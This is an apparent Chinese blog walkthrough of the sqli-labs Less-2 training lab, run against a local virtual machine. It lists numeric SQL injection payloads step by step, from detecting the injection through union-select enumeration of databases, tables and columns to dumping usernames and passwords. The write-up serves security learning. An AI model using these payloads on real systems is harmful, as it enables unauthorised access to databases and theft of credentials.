sqli-labs靶场第二关less-2

sqli-labs靶场第二关less-2

本次测试在虚拟机搭建靶场,从主机测试

1、输入?id=1和?id=2发现有不同的页面回显

2、判断注入类型

http://192.168.128.3/sq/Less-2/?id=1'

从回显判断多一个' ,预测可能是数字型注入

输入

http://192.168.128.3/sq/Less-2/?id=1 and 1=1

http://192.168.128.3/sq/Less-2/?id=1 and 1=2

发现and 1=1 正常回显,and 1=2 回显错误,确定数字型注入

3、确定列数

http://192.168.128.3/sq/Less-2/?id=1 group by 5

http://192.168.128.3/sq/Less-2/?id=1 group by 4

http://192.168.128.3/sq/Less-2/?id=1 group by 3

group by 3 的时候回显正常,确定有三列。

4、确定回显位

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,2,3

2.3位为回显位

5、查询数据库名和版本

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,database(),version()

6、爆出数据库名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

7、爆出表名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

8、爆出列名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'

9、爆出数据

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(username,'~',password),3 from security.users

** 大功告成**

相关推荐
Lee川3 小时前
Milvus 实战:当 RAG 遇上向量数据库,从"玩具 Demo"到"生产可用的"那一步
前端·数据库·人工智能
网管NO.15 小时前
SQL 排序分页精讲!ORDER BY+LIMIT 全套用法,报表分页
数据库·sql
MRSM_015 小时前
InfluxDB vs TimescaleDB,谁更适合你的场景
数据库
CAE虚拟与现实6 小时前
Redis如何保证存和读的过程中数据的一致性?
数据库·redis·缓存
我爱cope9 小时前
【Agent智能体4 | 智能体AI的应用】
数据库·人工智能·职场和发展
知识分享小能手10 小时前
Flask入门学习教程,从入门到精通,数据库操作 — 知识点详解与案例代码(4)
数据库·学习·flask
我是一颗柠檬10 小时前
【MySQL全面教学】MySQL基础SQL语句Day3(2026年)
数据库·后端·sql·mysql·oracle
XS03010610 小时前
MyBatis动态SQL
数据库·sql·mybatis